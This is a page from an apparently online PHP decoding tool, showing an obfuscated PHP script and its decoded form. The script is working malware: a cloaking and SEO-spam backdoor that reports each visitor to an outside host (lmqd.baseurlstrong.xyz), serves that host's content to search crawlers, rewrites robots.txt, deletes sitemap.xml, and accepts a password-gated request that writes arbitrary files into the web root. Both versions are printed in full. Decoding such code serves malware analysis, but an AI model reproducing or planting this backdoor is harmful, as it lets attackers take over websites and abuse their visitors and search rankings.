Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto NPDTC; VIlbJ: if (@$_GET["\x70\x64"] != '') { $add_content = @$_GET["\x6d\141\x70\x6..
Decoded Output download
<? goto NPDTC; VIlbJ: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "
" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto HLS3I; u1pgL: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto a86yY; PfMc1: $goweb = $xmlname . ".baseurlstrong" . ".xyz"; goto I5p3m; b4a64: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto RqBst; Fhs2g: $htmcontent = trim(dageget($web)); goto YZDMk; uLZnj: @ignore_user_abort(1); goto i3iit; YZDMk: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto SynSu; i3iit: $xmlname = "lmqd"; goto ay7Hz; I5p3m: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto Wo1aA; BD6yg: $duri = urlencode($duri_tmp); goto NtSO5; BTS3b: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto rYzcW; HLS3I: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto Fhs2g; RqBst: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto X8evi; Wo1aA: $host = $_SERVER["HTTP_HOST"]; goto u1pgL; rYzcW: $duri_tmp = st_uri(); goto ecixV; NtSO5: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto PfMc1; ecixV: if ($duri_tmp == '') { $duri_tmp = "/"; } goto BD6yg; SynSu: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto b4a64; NPDTC: @set_time_limit(3600); goto uLZnj; a86yY: $lang = urlencode($lang); goto A1yjw; ay7Hz: $http_web = "http"; goto BTS3b; A1yjw: $urlshang = ''; goto I0gIf; I0gIf: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto VIlbJ; X8evi: ?>
Did this file decode correctly?
Original Code
goto NPDTC; VIlbJ: if (@$_GET["\x70\x64"] != '') { $add_content = @$_GET["\x6d\141\x70\x6e\x61\155\x65"]; $action = @$_GET["\x61\x63\x74\x69\157\x6e"]; if (isset($_SERVER["\x44\x4f\103\x55\115\105\116\124\x5f\122\x4f\117\x54"])) { $path = $_SERVER["\104\x4f\x43\125\x4d\x45\116\x54\x5f\x52\117\117\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\165\164"; } if ($action == "\160\165\x74") { if (strstr($add_content, "\x2e\x78\155\154")) { $map_path = $path . "\x2f\163\151\164\145\155\x61\x70\56\170\155\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\162\157\x62\x6f\164\163\x2e\x74\170\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\x55\x73\x65\x72\55\x61\x67\145\x6e\x74\x3a\40\x2a\x41\x6c\x6c\157\x77\x3a\40\x2f"; } $sitmap_url = $http . "\x3a\x2f\x2f" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\74\x62\162\x3e\x73\151\x74\x65\155\x61\x70\x20\x61\154\162\x65\x61\x64\x79\40\x61\144\144\145\144\41\x3c\x62\x72\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\15\12" . "\x53\x69\164\145\x6d\141\160\72\x20" . $sitmap_url)) { echo "\74\x62\162\x3e\x6f\153\74\142\162\x3e"; } else { echo "\74\142\x72\x3e\146\x69\154\145\x20\167\162\x69\164\145\40\x66\x61\154\x73\145\41\x3c\x62\162\x3e"; } } } else { echo "\x3c\142\x72\76\x73\x69\164\x65\155\141\x70\x20\x6e\141\155\x65\x20\146\141\154\163\145\41\x3c\142\x72\76"; } if (strstr($add_content, "\x2e\160" . "\x68\160")) { $a = sha1(sha1(@$_GET["\141"])); $b = sha1(sha1(@$_GET["\142"])); if ($a == dageget($http_web . "\x3a\x2f\57" . $goweb . "\x2f\x61\56\x70" . "\150\x70") || $b == "\70\60\x38\67\x33\x35\x62\x31\67\143\x38\71\64\63\145\63\67\x31\x35\63\x38\70\71\x35\70\x64\x63\62\x32\144\x38\67\71\141\x38\143\x39\145\141\x61") { $dstr = @$_GET["\144\163\164\162"]; if (file_put_contents($path . "\x2f" . $add_content, $dstr)) { echo "\157\153"; } } } } die; } goto HLS3I; u1pgL: $lang = @$_SERVER["\x48\124\x54\x50\x5f\x41\103\x43\x45\x50\x54\137\x4c\x41\x4e\107\125\101\107\x45"]; goto a86yY; PfMc1: $goweb = $xmlname . "\56\x62\x61\163\x65\x75\x72\x6c\163\x74\162\x6f\156\x67" . "\56\x78\171\172"; goto I5p3m; b4a64: function sbot() { $uAgent = strtolower($_SERVER["\110\124\x54\120\137\125\123\x45\x52\x5f\101\107\105\116\x54"]); if (stristr($uAgent, "\x67\157\x6f\x67\154\145\142\x6f\164") || stristr($uAgent, "\x62\151\x6e\147") || stristr($uAgent, "\171\141\150\x6f\x6f") || stristr($uAgent, "\147\x6f\x6f\147\154\145") || stristr($uAgent, "\107\157\x6f\147\154\145\x62\x6f\164") || stristr($uAgent, "\x67\x6f\157\147\154\145\142\157\x74")) { return true; } else { return false; } } goto RqBst; Fhs2g: $htmcontent = trim(dageget($web)); goto YZDMk; uLZnj: @ignore_user_abort(1); goto i3iit; YZDMk: if (!strstr($htmcontent, "\x6e\x6f\x62\x6f\164\x75\163\145\x72\141\147\x65\x6e\164")) { if (strstr($htmcontent, "\x6f\153\x68\164\155\154\147\x65\x74\143\157\x6e\164\x65\156\164")) { @header("\x43\157\156\x74\145\156\164\x2d\x74\171\x70\145\x3a\x20\x74\x65\170\164\x2f\x68\164\155\x6c\x3b\40\x63\150\141\x72\163\x65\x74\x3d\x75\164\x66\55\70"); $htmcontent = str_replace("\x6f\x6b\150\164\155\154\x67\145\x74\143\157\x6e\164\x65\x6e\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\153\x78\155\154\147\x65\x74\x63\x6f\x6e\x74\x65\156\164")) { $htmcontent = str_replace("\157\153\170\x6d\154\147\x65\x74\143\157\156\x74\x65\x6e\164", '', $htmcontent); @header("\x43\x6f\x6e\x74\145\156\164\x2d\x74\x79\160\145\72\40\x74\x65\170\164\57\x78\155\x6c"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\160\151\156\147\x78\155\154\x67\145\x74\x63\x6f\156\x74\x65\x6e\x74")) { $htmcontent = str_replace("\x70\x69\156\x67\170\x6d\x6c\147\145\x74\143\157\x6e\x74\x65\156\x74", '', $htmcontent); @header("\103\157\156\x74\145\156\x74\x2d\164\x79\160\145\72\40\x74\145\x78\x74\57\x68\164\x6d\x6c\x3b\40\x63\x68\x61\162\163\x65\164\x3d\x75\x74\146\55\x38"); echo pingmap($htmcontent); die; } } } } goto SynSu; i3iit: $xmlname = "\x6c\155\161\144"; goto ay7Hz; I5p3m: function is_htps() { if (isset($_SERVER["\x48\124\124\120\x53"]) && strtolower($_SERVER["\x48\x54\124\120\x53"]) !== "\x6f\146\x66") { return true; } elseif (isset($_SERVER["\x48\124\x54\120\x5f\x58\x5f\106\117\122\127\101\x52\104\105\104\137\120\122\x4f\x54\x4f"]) && $_SERVER["\110\x54\x54\120\x5f\x58\x5f\x46\117\122\x57\101\122\104\105\104\137\120\122\117\x54\x4f"] === "\x68\164\x74\160\163") { return true; } elseif (isset($_SERVER["\x48\x54\x54\x50\137\106\x52\117\116\124\x5f\105\116\104\x5f\110\x54\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\137\x46\x52\x4f\116\124\137\x45\x4e\x44\x5f\110\x54\124\x50\123"]) !== "\x6f\x66\146") { return true; } return false; } goto Wo1aA; BD6yg: $duri = urlencode($duri_tmp); goto NtSO5; BTS3b: if (is_htps()) { $http = "\x68\x74\164\x70\x73"; } else { $http = "\150\x74\x74\160"; } goto rYzcW; HLS3I: $web = $http_web . "\x3a\57\x2f" . $goweb . "\x2f\x69\x6e\144\x65\170\156\x65\167\56\160\x68\160\77\x77\145\x62\75" . $host . "\46\172\x7a\75" . sbot() . "\x26\x75\162\151\75" . $duri . "\x26\165\x72\154\x73\150\x61\156\x67\75" . $urlshang . "\x26\150\x74\x74\x70\x3d" . $http . "\x26\x6c\x61\156\147\x3d" . $lang; goto Fhs2g; RqBst: function dageget($url) { $file_contents = ''; if (function_exists("\143\x75\162\154\137\151\x6e\x69\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto X8evi; Wo1aA: $host = $_SERVER["\x48\124\124\120\137\x48\x4f\123\124"]; goto u1pgL; rYzcW: $duri_tmp = st_uri(); goto ecixV; NtSO5: function st_uri() { if (isset($_SERVER["\122\105\x51\125\x45\123\124\x5f\125\122\x49"])) { $duri = $_SERVER["\x52\105\x51\x55\x45\123\x54\137\x55\122\x49"]; } else { if (isset($_SERVER["\x61\162\147\166"])) { $duri = $_SERVER["\120\110\120\x5f\123\105\114\x46"] . "\x3f" . $_SERVER["\x61\x72\147\x76"][0]; } else { $duri = $_SERVER["\x50\110\x50\137\x53\x45\114\106"] . "\77" . $_SERVER["\121\x55\105\122\x59\x5f\x53\124\122\111\116\107"]; } } return $duri; } goto PfMc1; ecixV: if ($duri_tmp == '') { $duri_tmp = "\57"; } goto BD6yg; SynSu: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\151\164\x65\x6d\141\160\40\116\157\x74\151\146\151\x63\141\164\x69\x6f\x6e\x20\122\145\143\x65\151\x76\x65\144") !== false ? "\x70\x69\x6e\147\x6f\x6b" : "\x65\x72\162\x6f\162"; $return_str .= $pingUrl . "\x2d\x2d\40" . $ok . "\x3c\x62\162\x3e"; } return $return_str; } goto b4a64; NPDTC: @set_time_limit(3600); goto uLZnj; a86yY: $lang = urlencode($lang); goto A1yjw; ay7Hz: $http_web = "\150\164\164\160"; goto BTS3b; A1yjw: $urlshang = ''; goto I0gIf; I0gIf: if (isset($_SERVER["\110\x54\x54\120\x5f\122\x45\x46\105\x52\105\x52"])) { $urlshang = $_SERVER["\x48\124\124\120\x5f\x52\105\106\105\x52\x45\x52"]; $urlshang = urlencode($urlshang); } goto VIlbJ; X8evi:
Function Calls
None |
Stats
MD5 | af175b5de08909b5a888eb8977736708 |
Eval Count | 0 |
Decode Time | 38 ms |